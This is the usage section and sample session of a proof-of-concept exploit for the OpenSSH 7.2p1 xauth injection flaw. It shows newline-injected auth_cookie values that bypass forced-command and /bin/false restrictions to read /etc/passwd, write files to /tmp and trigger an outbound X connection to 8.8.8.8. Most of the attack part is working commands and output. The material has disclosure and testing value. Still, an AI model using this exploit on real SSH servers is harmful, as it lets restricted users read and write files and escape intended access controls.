OpenSSH <=7.2p1 xauth injection

                                                
Prerequisites:

* install python 2.7.x
* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x
* make sure `poc.py`


 Usage: <host> <port> <username> <password or path_to_privkey>

        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key


poc:

1. configure one user (user1) for `force-commands` and another one with `/bin/false` in `/etc/passwd`:

#PUBKEY line - force commands: only allow "whoami"
#cat /home/user1/.ssh/authorized_keys
command="whoami" ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15
 user1@box

#cat /etc/passwd
user2:x:1001:1002:,,,:/home/user2:/bin/false
        
2. run sshd with `X11Forwarding yes` (kali default config)

#> /root/openssh-7.2p1/sshd -p 22 -f sshd_config -D -d

3. `forced-commands` - connect with user1 and display env information

#> python <host> 22 user1 .demoprivkey

INFO:__main__:add this line to your authorized_keys file:
#PUBKEY line - force commands: only allow "whoami"
#cat /home/user/.ssh/authorized_keys
command="whoami" ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15
 user@box

INFO:__main__:connecting to: user1:<PKEY>@host:22
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .info
DEBUG:__main__:auth_cookie: '\ninfo'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:Authority file:       /home/user1/.Xauthority
File new:             no
File locked:          no
Number of entries:    1
Changes honored:      yes
Changes made:         no
Current input:        (stdin):3
/usr/bin/xauth: (stdin):2:  bad "add" command line
...
                
4. `forced-commands` - read `/etc/passwd`

...
#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

5. `forced-commands` - write `/tmp/testfile`

#> .writefile /tmp/testfile `thisisatestfile`
DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile 127.0.0.250:65500'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:/usr/bin/xauth: (stdin):2:  bad "add" command line

#> ls -lsat /tmp/testfile
4 -rw------- 1 user1 user1 59 xx xx 13:49 /tmp/testfile

#> cat /tmp/testfile
\FA65500hi\FA65500`thisisatestfile`\AA

6. `/bin/false` - connect and read `/etc/passwd`

#> python <host> 22 user2 user2password
INFO:__main__:connecting to: user2:user2password@host:22
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
user2:x:1001:1002:,,,:/home/user2:/bin/false
...
        
7. `/bin/false` - initiate outbound X connection to 8.8.8.8:6100

#> generate 8.8.8.8:100 .       

#> tcpdump
IP <host>.42033 > 8.8.8.8.6100: Flags [S], seq 1026029124, win 29200, options [mss 1460,sackOK,TS val 431416709 ecr 
0,nop,wscale 10], length 0